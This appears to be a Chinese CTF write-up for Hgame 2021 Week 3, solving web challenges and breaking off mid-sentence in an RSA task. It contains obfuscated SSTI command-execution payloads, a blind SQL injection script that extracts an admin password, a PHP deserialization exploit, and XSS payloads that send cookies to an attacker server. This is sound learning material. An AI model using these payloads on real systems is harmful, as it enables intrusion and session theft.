引言
Hgame 2021 Week 3
喵呜呜,第三周好难啊!
这周过年比较忙,就随意看了看吧。
Web
Forgetful
Liki 总是忘记很多事情,于是她灵机一动,用新学会的 Python 写了一个 TodoList,快用起来吧!
查看 页面存在 SSTI.
Payload:
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al /")["read"]()}}
total 104
drwxr-xr-x 1 root root 4096 Feb 11 16:13 .
drwxr-xr-x 1 root root 4096 Feb 11 16:13 ..
drwxr-xr-x 5 root root 4096 Feb 13 13:59 app
drwxr-xr-x 1 root root 4096 Jun 4 2020 bd_build
drwxr-xr-x 1 root root 4096 Jun 4 2020 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 5 root root 340 Feb 14 14:00 dev
-rwxr-xr-x 1 root root 0 Feb 11 16:13 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 13 14:48 etc
-rw-r--r-- 1 root root 38 Feb 11 16:12 flag
drwxr-xr-x 1 root root 4096 Feb 11 16:12 home
drwxr-xr-x 1 root root 4096 Feb 11 16:12 lib
drwxr-xr-x 1 root root 4096 Feb 11 16:12 lib64
drwxr-xr-x 2 root root 4096 Apr 3 2020 media
drwxr-xr-x 2 root root 4096 Apr 3 2020 mnt
drwxr-xr-x 2 root root 4096 Apr 3 2020 opt
dr-xr-xr-x 217 root root 0 Feb 14 14:00 proc
-rw-r--r-- 1 root root 122 Feb 11 15:10 requirements.txt
drwx------ 1 root root 4096 Feb 11 16:12 root
drwxr-xr-x 1 root root 4096 Jun 4 2020 run
drwxr-xr-x 1 root root 4096 Jun 4 2020 sbin
drwxr-xr-x 2 root root 4096 Apr 3 2020 srv
dr-xr-xr-x 13 root root 0 Feb 13 12:31 sys
drwxrwxrwt 1 root root 4096 Feb 14 11:40 tmp
drwxr-xr-x 1 root root 4096 Apr 3 2020 usr
drwxr-xr-x 1 root root 4096 Apr 3 2020 var
但是发现读不了根目录的 flag,发现 bash
或者 nc
也反弹不了 shell,emmm
然后试了 wc -l /flag
发现并没有被拦,其他文件也能读。(没过滤 flag
cat
所以推测是 输出的字符串中如果出现关键字则拦截。
试试发现从后往前读可以,最终 payload:
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("tail -c 35 /flag")["read"]()}}
或者 cat /flag|base64
也行。
hgame{h0w_4bou7+L3arn!ng~PythOn^Now?}
气死我了,这就去读源码。
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al")["read"]()}}
total 40
drwxr-xr-x 5 root root 4096 Feb 13 13:59 .
drwxr-xr-x 1 root root 4096 Feb 11 16:13 ..
-rw-r--r-- 1 root root 5255 Feb 13 13:59 app.py
-rw-r--r-- 1 root root 168 Feb 11 15:10 ext.py
-rw-r--r-- 1 root root 945 Feb 11 15:10 forms.py
-rw-r--r-- 1 root root 1048 Feb 11 15:10 models.py
drwxr-xr-x 2 root root 4096 Feb 11 15:10 __pycache__
drwxr-xr-x 5 root root 4096 Feb 11 15:10 static
drwxr-xr-x 2 root root 4096 Feb 11 15:10 templates
app.py
#!/usr/bin/python
#-*- coding: UTF-8 -*-
from __future__ import unicode_literals
from flask import (Flask, render_template, redirect, url_for, request, flash)
from jinja2 import Template
from flask_bootstrap import Bootstrap
from flask_login import login_required, login_user, logout_user, current_user
from hashlib import md5
from forms import TodoListForm, LoginForm, RegisterForm
from ext import db, login_manager
from models import TodoList, User
import pymysql
pymysql.install_as_MySQLdb()
SECRET_KEY = 'ssssssTiLIKISAMA'
SALT = 'SIKILIKISAMA'
app = Flask(__name__)
bootstrap = Bootstrap(app)
app.secret_key = SECRET_KEY
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql://ctf:p45Sw0rdOfssti@ssti_database/todolist"
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
db.init_app(app)
login_manager.init_app(app)
login_manager.login_view = "login"
@app.route('/', methods=['GET', 'POST'])
@login_required
def show_todo_list():
form = TodoListForm()
if request.method == 'GET':
todolists = TodoList.query.filter_by(user_id=current_user.id)
return render_template('index.html', todolists=todolists, form=form)
else:
if form.validate_on_submit():
todolist = TodoList(current_user.id, form.title.data, form.status.data)
db.session.add(todolist)
db.session.commit()
flash('You have ADD a new todo list')
else:
flash(form.errors)
return redirect(url_for('show_todo_list'))
@app.route('/delete/<int:id>')
@login_required
def delete_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
todolist = TodoList.query.filter_by(id=id).first_or_404()
db.session.delete(todolist)
db.session.commit()
flash('You have DELETE a todo list')
else:
flash('You DO NOT have permission to delete this todo')
return redirect(url_for('show_todo_list'))
@app.route('/view/<int:id>', methods=['GET'])
@login_required
def view_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
try:
todo = TodoList.query.filter_by(id=id).first_or_404()
s = render_template('view.html', todo=todo)
s = s.replace("lza9veb5WmH367fcuUyn", todo.title)
t = Template(s)
r = t.render()
if (('hgame' in r) or ('emagh' in r)):
r = 'Stop!!!'
r = 'Stop!!!'
return r
except:
flash("Something went wrong!")
else:
flash('You DO NOT have permission to view this todo')
return redirect(url_for('show_todo_list'))
@app.route('/modify/<int:id>', methods=['GET', 'POST'])
@login_required
def modify_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
if request.method == 'GET':
todolist = TodoList.query.filter_by(id=id).first_or_404()
form = TodoListForm()
form.title.data = todolist.title
form.status.data = str(todolist.status)
return render_template('modify.html', form=form)
else:
form = TodoListForm()
if form.validate_on_submit():
todolist = TodoList.query.filter_by(id=id).first_or_404()
todolist.title = form.title.data
todolist.status = form.status.data
db.session.commit()
flash('You have MODIFY a todolist')
else:
flash(form.errors)
else:
flash('You DO NOT have permission to modify this todo')
return redirect(url_for('show_todo_list'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
print(pswd)
user = User.query.filter_by(username=request.form['username'], password=pswd).first()
if user:
login_user(user)
flash('You have logged in!')
return redirect(url_for('show_todo_list'))
else:
flash('Invalid username or password')
form = LoginForm()
return render_template('login.html', form=form)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
print(pswd)
newuser = User(username=request.form['username'], password=pswd)
user = db.session.add(newuser)
try:
db.session.commit()
flash('You have registered!')
return redirect(url_for('login'))
except:
flash('Username Exists')
form = RegisterForm()
return render_template('register.html', form=form)
@app.route('/logout')
@login_required
def logout():
logout_user()
flash('You have logout!')
return redirect(url_for('login'))
@login_manager.user_loader
def load_user(user_id):
return User.query.filter_by(id=int(user_id)).first()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
果然是检查渲染后的结果里是否有 hgame
或者 emagh
,有的话就直接返回 Stop!!!
。
居然有个 MySQL 数据库,嘿嘿信息都有了。
Liki-Jail
漫长的追捕结束了,作恶多端的 Switch 被警官 Liki 捉拿归案,关押在离奇监狱
不过 Switch 好像有着不可告人的秘密,有着必须要完成的事情,他必须要逃离监狱
不巧的是监狱管理系统刚好正在维护,只有管理员可以登录系统,该怎么办呢……
过滤了 空格 -
'
"
=
用 \
转义掉引号,试了试 username=\
, password=/**/Or/**/sleep(10)#
果然能够 sleep。
于是就是 基于时间的盲注 了。
然后又是 SQL 注入环节。
Exp:
注意 Content-Type
要加上 application/x-www-form-urlencoded
,不然么得反应。
=
用 like
绕过,但是 like
默认不区分大小写,所以需要 like binary
.
空格用 /**/
绕过。
MySQL 里含有特殊字符可以用 反引号包起来,如 (`blal@b@la`)
。
# coding: utf-8
"""
时间盲注脚本
MiaoTony
"""
import requests
import time
from urllib.parse import urlencode
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Referer": "https://jailbreak.liki.link/",
"Host": "jailbreak.liki.link",
"Content-Type": "application/x-www-form-urlencoded"
}
def get_len(password: str):
# 获取数据库长度
print("start get length...")
url = "https://jailbreak.liki.link/login.php"
for i in range(1, 30):
payload = {}
payload["username"] = "\\"
payload["password"] = password.format(i=i)
payload = urlencode(payload)
# print(payload)
startTime = time.time()
r = requests.post(url, data=payload, headers=header)
r.encoding = 'utf-8'
# print(r.text)
if time.time() - startTime >= 1:
break
print("length:", i)
def get_name(password: str, length: int):
# 获取数据库名
url = "https://jailbreak.liki.link/login.php"
name = ''
for j in range(1, length + 1):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@#$%':
print(i, '...')
s = hex(ord(i))
payload = {}
payload["username"] = "\\"
payload["password"] = password.format(j=j, s=s)
payload = urlencode(payload)
# print(payload)
# payload = r"username=%5C&password=%2F**%2FoR%2F**%2Fif%28length%28database%28%29%29likE%2F**%2F9%2Csleep%283%29%2C1%29%23"
startTime = time.time()
r = requests.post(url, data=payload, headers=header)
r.encoding = 'utf-8'
# print(r.text)
if time.time() - startTime >= 1:
name += i
print('====>', name)
break
print('name:', name)
def main():
# db_len = "/**/oR/**/if(length(database())likE/**/{i},sleep(1),1)#"
# get_len(db_len)
# # 9
# db_name = "/**/oR/**/if(substr(database(),{j},1)liKe/**/{s},sleep(1),1)#"
# get_name(db_name, 9)
# # week3sqli
# table_len = "/**/oR/**/if((seleCt/**/lenGth(table_name)liKe/**/{i}/**/fRom/**/information_schema.tables/**/wHere/**/table_schema/**/liKe/**/database()/**/limit/**/0,1),sleep(1),1)#"
# get_len(table_len)
# # 5
# table_name = "/**/oR/**/if((seLect/**/subStr(table_name,{j},1)liKe/**/{s}/**/fRom/**/information_schema.tables/**/wHere/**/table_schema/**/liKe/**/database()/**/limIt/**/0,1),sleep(1),1)#"
# get_name(table_name, 5)
# # u5ers
# column_len = "/**/oR/**/if((seleCt/**/lenGth(column_name)liKe/**/{i}/**/fRom/**/information_schema.columns/**/wHere/**/table_name/**/liKe/**/0x7535657273/**/limit/**/0,1),sleep(1),1)#"
# get_len(column_len)
# # 8
# column_name = "/**/oR/**/if((seLect/**/subStr(column_name,{j},1)liKe/**/{s}/**/fRom/**/information_schema.columns/**/wHere/**/table_name/**/liKe/**/0x7535657273/**/limIt/**/1,1),sleep(1),1)#"
# get_name(column_name, 8)
# # usern@me, p@ssword
# username_len = "/**/oR/**/if((seLect/**/lenGth(`usern@me`)liKe/**/{i}/**/fRom/**/u5ers/**/lImit/**/0,1),sleep(1),1)#"
# get_len(username_len)
# # 5
# password_len = "/**/oR/**/if((seLect/**/lenGth(`p@ssword`)liKe/**/{i}/**/fRom/**/u5ers/**/lImit/**/0,1),sleep(1),1)#"
# get_len(password_len)
# # 24
# username = "/**/oR/**/if((seLect/**/subStr(`usern@me`,{j},1)liKe/**/binary/**/{s}/**/fRom/**/u5ers/**/limIt/**/0,1),sleep(1),1)#"
# get_name(username, 5)
# # admin
password = "/**/oR/**/if((seLect/**/subStr(`p@ssword`,{j},1)liKe/**/binary/**/{s}/**/fRom/**/u5ers/**/limIt/**/0,1),sleep(1),1)#"
get_name(password, 24)
# sOme7hiNgseCretw4sHidd3n
if __name__ == '__main__':
main()
最后登录拿到 flag。
hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}
Arknights
r4u十连了!r4u没出夕和年!r4u自闭了!r4u写了个抽卡模拟器想要证明自己不是非酋,这一切都是鹰角的错。r4u用git部署到了自己的服务器上,然而这一切都被大黑客liki看在了眼里。 flag位于网站根目录flag.php中
好耶,是 git 泄露!
先把源码拉下来。
index.php
<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
$cards = $simulator->draw($_POST["draw"]);
}
?>
<html lang="en">
<head>
<title>Arknights</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="/static/css/cover.css" rel="stylesheet">
</head>
<body class="text-center">
<div class="d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="mastfoot mt-auto">
<h1>非酋证明器</h1>
<br>
<br>
</header>
<main style="height: 85%">
<div class="card own">
<h5 class="card-header" style="color: blue">抽中的六星干员</h5>
<div class="card-body">
<?php
$legendary = $simulator->getLegendary();
foreach ($legendary as $worker){
echo "<p class='legendary'>".$worker["type"]." ".$worker["name"]."</p>";
}
?>
</div>
</div>
<div class="card col-md-3" style="color: #007bff;width=100%;">
<h5 class="card-header">刀客塔,你要老婆不要?</h5>
<div class="card-body">
<?php
if(!empty($cards)){
echo "<h5 class=\"card-title\">抽卡结果:</h5>";
echo "<br>";
}
foreach ($cards as $card){
switch ($card["stars"]){
case 3:
echo "<p class='normal'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
break;
case 4:
echo "<p class='rare'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
break;
case 5:
echo "<p class='epic'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
break;
case 6:
echo "<p class='legendary'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
break;
}
}
?>
<br>
<hr>
<form method="POST" action="">
<button class="btn btn-primary" name="draw" value="1">抽一次</button>
<button class="btn btn-primary" name="draw" value="10">连连连连连连连连连连!</button>
</form>
</div>
</div>
</main>
<footer class="mastfoot mt-auto">
<p>Made by 109发抽不到<del>老婆</del>夕的<b>R4u</b>.</p>
</footer>
</div>
</body>
</html>
simulator.php
<?php
class Simulator{
public $session;
public $cardsPool;
public function __construct(){
$this->session = new Session();
if(array_key_exists("session", $_COOKIE)){
$this->session->extract($_COOKIE["session"]);
}
$this->cardsPool = new CardsPool("./pool.php");
$this->cardsPool->init();
}
public function draw($count){
$result = array();
for($i=0; $i<$count; $i++){
$card = $this->cardsPool->draw();
if($card["stars"] == 6){
$this->session->set('', $card["No"]);
}
$result[] = $card;
}
$this->session->save();
return $result;
}
public function getLegendary(){
$six = array();
$data = $this->session->getAll();
foreach ($data as $item) {
$six[] = $this->cardsPool->cards[6][$item];
}
return $six;
}
}
class CardsPool
{
public $cards;
private $file;
public function __construct($filePath)
{
if (file_exists($filePath)) {
$this->file = $filePath;
} else {
die("Cards pool file doesn't exist!");
}
}
public function draw()
{
$rand = mt_rand(1, 100);
$level = 0;
if ($rand >= 1 && $rand <= 42) {
$level = 3;
} elseif ($rand >= 43 && $rand <= 90) {
$level = 4;
} elseif ($rand >= 91 && $rand <= 99) {
$level = 5;
} elseif ($rand == 100) {
$level = 6;
}
$rand_key = array_rand($this->cards[$level]);
return array(
"stars" => $level,
"No" => $rand_key,
"card" => $this->cards[$level][$rand_key]
);
}
public function init()
{
$this->cards = include($this->file);
}
public function __toString(){
return file_get_contents($this->file);
}
}
class Session{
private $sessionData;
const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
public function __construct(){}
public function set($key, $value){
if(empty($key)){
$this->sessionData[] = $value;
}else{
$this->sessionData[$key] = $value;
}
}
public function getAll(){
return $this->sessionData;
}
public function save(){
$serialized = serialize($this->sessionData);
$sign = base64_encode(md5($serialized . self::SECRET_KEY));
$value = base64_encode($serialized) . "." . $sign;
setcookie("session",$value);
}
public function extract($session){
$sess_array = explode(".", $session);
$data = base64_decode($sess_array[0]);
$sign = base64_decode($sess_array[1]);
if($sign === md5($data . self::SECRET_KEY)){
$this->sessionData = unserialize($data);
}else{
unset($this->sessionData);
die("Go away! You hacker!");
}
}
}
class Eeeeeeevallllllll{
public $msg="坏坏liki到此一游";
public function __destruct()
{
echo $this->msg;
}
}
pool.php
里是一堆默认游戏配置
<?php
return array(
3 => array(//%42
array("star" => "★★★", "name" => "kokodayo~", "type" => "狙击"),
array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
array("star" => "★★★", "name" => "炎熔", "type" => "术士"),
array("star" => "★★★", "name" => "斑点", "type" => "重装"),
array("star" => "★★★", "name" => "香草", "type" => "先锋"),
array("star" => "★★★", "name" => "粉毛猛男", "type" => "医疗"),
array("star" => "★★★", "name" => "翎羽", "type" => "先锋"),
array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
array("star" => "★★★", "name" => "卡缇", "type" => "重装"),
array("star" => "★★★", "name" => "米格鲁", "type" => "重装"),
array("star" => "★★★", "name" => "安德切尔", "type" => "狙击"),
array("star" => "★★★", "name" => "芙蓉", "type" => "医疗"),
array("star" => "★★★", "name" => "梓兰", "type" => "特种")
),
//......
);
关键的源码在 simulator.php
里,可以看到有 __construct()
__toString()
file_get_contents
反序列化漏洞
那就构造利用链好了。
注意到 Eeeeeeevallllllll
类里有 echo
,让这个 msg
指向 CardsPool('flag.php')
对象,就能在Eeeeeeevallllllll
实例化的对象销毁的时候调用 CardsPool
对象的 __toString()
,通过 file_get_contents
来读取 flag 文件了。
Exp:
直接在 simulator 文件结尾加上这几条语句。
$xx = new Eeeeeeevallllllll();
$xx->msg = new CardsPool('flag.php');
echo "<br>";
$yy = serialize($xx);
echo $yy;
echo "<br>";
$sign = base64_encode(md5($yy . "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"));
$value = base64_encode($yy) . "." . $sign;
echo $value;
得到序列化的字符串 以及 加密的字符串
O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";N;s:15:"CardsPoolfile";s:8:"flag.php";}}
TzoxNzoiRWVlZWVlZXZhbGxsbGxsbGwiOjE6e3M6MzoibXNnIjtPOjk6IkNhcmRzUG9vbCI6Mjp7czo1OiJjYXJkcyI7TjtzOjE1OiIAQ2FyZHNQb29sAGZpbGUiO3M6ODoiZmxhZy5waHAiO319.Y2Q1NjAzYWE3MjAxOWEwM2NjOWEwY2ZkNzk0ZmEwNzQ=
改 cookies 再访问即可拿到 flag。
Post to zuckonit2.0
d1gg12 的博客被日穿以后,他想办法学了更深入的 XSS 防护方法, 现在这个博客看上去已经坚不可摧了…是这样吗?
还是 XSS。
给了源码在 /static/www.zip
app.py
@app.route('/')
def home():
response = make_response(render_template("index.html"))
response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
return response
@app.route('/preview')
def preview():
if session.get('substr') and session.get('replacement'):
substr = session['substr']
replacement = session['replacement']
else:
substr = ""
replacement = ""
response = make_response(
render_template("preview.html", substr=substr, replacement=replacement))
return response
@app.route('/send', methods=['POST'])
def send():
if request.form.get('content'):
content = escape_index(request.form['content'])
if session.get('contents'):
content_list = session['contents']
content_list.append(content)
else:
content_list = [content]
session['contents'] = content_list
return "post has been sent."
else:
return "WELCOME TO HGAME 2021 :)"
@app.route('/replace', methods=["POST"])
def replace():
if request.form.get('substr') and request.form.get('replacement'):
session['substr'] = escape_replace(request.form['substr'])
session['replacement'] = escape_replace(request.form['replacement'])
return "replace success"
else:
return "There is no content to replace any more"
@app.route('/contents', methods=["GET"])
def get_contents():
if session.get('contents'):
content_list = jsonify(session['contents'])
else:
content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
'Maybe it is nearly done now.</p>',
'<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
'And I add some new features to this editor, maybe you can take a try. '
'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
'<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
'<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
'<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
'It really astonished me. Something flashed me.</p>')
return content_list
@app.route('/code', methods=["GET"])
def get_code():
if session.get('code'):
return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
else:
code = create_code()
session['code'] = code
return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')
@app.route('/flag')
def show_flag():
if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
else:
return "Only admin can get the flag, your token shows that you're not admin!"
@app.route('/clear')
def clear_session():
session['contents'] = []
return "ALL contents are cleared."
def escape_index(original):
content = original
content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content
def escape_replace(original):
content = original
content = re.sub("[<>]", "", content)
return content
def create_code():
hashobj = hashlib.md5()
hashobj.update(bytes(str(time.time()), encoding='utf-8'))
code_hash = hashobj.hexdigest()[:6]
return code_hash
主页 / 加了 Content-Security-Policy,/preview 页面没有。
templates/preview.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="{{ url_for('static',filename='css/common.css') }}" rel="stylesheet" type="text/css">
<title>ONLINE BLOG EDITOR</title>
<script src="{{ url_for('static',filename='js/jquery-3.5.1.min.js') }}"></script>
<script>
$(function () {
$.get("/contents").done(function (data) {
let substr = "{{ substr }}"
let replacement = "{{ replacement | safe }}"
let output = document.getElementById("output")
for (let i = 0; i < data.length; i++) {
let div = document.createElement("div")
div.innerHTML = data[i].replace(substr, replacement)
output.appendChild(div)
}
})
})
</script>
</head>
<body>
<div id="header">
<a href="#">Online Blog Editor</a>
</div>
<div id="navigation">
<ol>
<li><a href="#">Editor</a></li>
<li><a href="/flag">Flag</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Help</a></li>
</ol>
</div>
<div id="main">
<h1 id="title">Post to Zuckonit</h1>
<div id="main-content">
<div id="output"></div>
</div>
</div>
</body>
</html>
模板里的 let substr = "{{ substr }}"
是将特殊字符如 引号 "
、<>
转义了的。
而 let replacement = "{{ replacement | safe }}"
出来是保留原型的。
于是这里就有漏洞。
就构造一个 payload 把引号闭合,然后带着 cookie 打到 VPS 上。
meow"+$.get("http://VPSIP/"+document.cookie);//
post 的内容的话就放个指向 preview 的 iframe。
<iframe src="preview"></iframe>
后端替换后返回
<iframe src="preview" >
还是有效的。
然后算个 md5 提交。
token=568fda45ba279640fc974e68b592366d82e1b74dfbc18c92ba4df52e6870e7c2
最后改 cookie,拿 flag.
hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}
这当然是非预期解啦 2333.
Post to zuckonit another version
d1gg12 的博客被日穿以后,他想办法学了更深入的 XSS 防护方法, 现在这个博客看上去已经坚不可摧了…是这样吗?
hint1: 查看网页源代码
hint2: 关于“更深入的xss防护方法”: 看看返回头?
hint3: RegExp
hint4: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace
(来复现一下)
app.py
@app.route('/')
def home():
response = make_response(render_template("index.html"))
response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
return response
@app.route('/preview')
def preview():
if session.get('substr'):
substr = session['substr']
else:
substr = ""
response = make_response(
render_template("preview.html", substr=substr))
return response
@app.route('/send', methods=['POST'])
def send():
if request.form.get('content'):
content = escape_index(request.form['content'])
if session.get('contents'):
content_list = session['contents']
content_list.append(content)
else:
content_list = [content]
session['contents'] = content_list
return "post has been sent."
else:
return "WELCOME TO HGAME 2021 :)"
@app.route('/search', methods=["POST"])
def replace():
if request.form.get('substr'):
session['substr'] = escape_replace(request.form['substr'])
return "replace success"
else:
return "There is no content to search any more"
@app.route('/contents', methods=["GET"])
def get_contents():
if session.get('contents'):
content_list = jsonify(session['contents'])
else:
content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
'Maybe it is nearly done now.</p>',
'<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
'And I add some new features to this editor, maybe you can take a try. '
'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
'<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
'<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
'<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
'It really astonished me. Something flashed me.</p>')
return content_list
@app.route('/code', methods=["GET"])
def get_code():
if session.get('code'):
return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
else:
code = create_code()
session['code'] = code
return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')
@app.route('/flag')
def show_flag():
if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
else:
return "Only admin can get the flag, your token shows that you're not admin!"
@app.route('/clear')
def clear_session():
session['contents'] = []
return "ALL contents are cleared."
def escape_index(original):
content = original
content_iframe = re.sub(
r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content
def escape_replace(original):
content = original
content = re.sub(r"[<>\"\\]", "", content)
return content
def create_code():
hashobj = hashlib.md5()
hashobj.update(bytes(str(time.time()), encoding='utf-8'))
code_hash = hashobj.hexdigest()[:6]
return code_hash
改了个 search
,过滤里多了 "
\
不能像上一题那样闭合那个 双引号 了。
preview.html
中的 js 改成了
$(function () {
$.get("/contents").done(function (data) {
let content = "{{ substr | safe }}"
let output = document.getElementById("output")
for (let i = 0; i < data.length; i++) {
let div = document.createElement("div")
let substr = new RegExp(content, 'g')
div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
output.appendChild(div)
}
})
})
可见弄了个 正则替换。
根据官方 WriteUp,可以通过构造 {任意匹配的字符串}|{想要注⼊的字符串}
这样的正则表达式来给页面注入元素。
再根据 String.prototype.replace() 的特殊变量名
主页还是 post
<iframe src="preview">
于是就可以利用 分组 结合 $n
来得到尖括号。
单引号还是能用的,嘿嘿。
payload:
(.)iframe src=.preview.(.)|$1img src=x onerror=top.location='//VPSIP/'+document.cookie$2
然后拿到 cookie
token=6a506f5c3eff9ffe9dc573bc93629038f61a7fcdd7662efb441451b08b0c6671
拿到 flag
hgame{CSP_iS_VerY_5trlct&0nly_C@n_uSe_3vil.Js!}
BTW, 官方给的 payload 是
利⽤我们 post 的 iframe 两边的尖括号,通过
$` $'
⽆中⽣有
iframe|$`input size=11 onfocus=window.open('vps-ip'+document.cookie)
autofocus$'
Crypto
LikiPrime
Wow! RSA!
#!/usr/bin/env python3
import random
from libnum import s2n
from secret import secrets, flag
def get_prime(secret):
prime = 1
for _ in range(secret):
prime = prime << 1
return prime - 1
random.shuffle(secrets)
m = s2n(flag)
p = get_prime(secrets[0])
q = get_prime(secrets[1])
n = p * q
e = 0x10001
c = pow(m, e, n)
print("n = {}.format(n)")
print("e = {}.format(e)")
print("c = {}.format(c)")
# n = 15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
# e = 65537
# c = 7927187628026055322783940901550651937893953660065534609714001711924456963095603013667085470146144874981960574233466397443449977149997357471575431695025415526421127927424585253533999961265066779103259623451208111709082292139347059312149137665426462381816329178229484680275368657450003046701355985014009700915439417466826446848877329284810802949440433122207430136944380576095681081740197798597559437163702511712448892986978229285577672410865991889634686024629071902793778620692548548234276678653195648305462703623579369309956481606223043040903082180559720551235515700080661234190693094571406679557502413049745325301747588707839920522910923018864009003988475371258742969932381590308381543035539043149634871622927695645953044249331889058081699783884965964986919852075768119185486506729958481688848547730131040350180411446263394686119546781350542737049112800140601734883325024073000156078427592350484379976615561586860882656403198952361411599125358422676828954908797542225611418969233985502900316342896903161811894061826308302594273209131132802270416006
p, q 都是 2**n - 1,懒了直接去 http://factordb.com 求解,得到
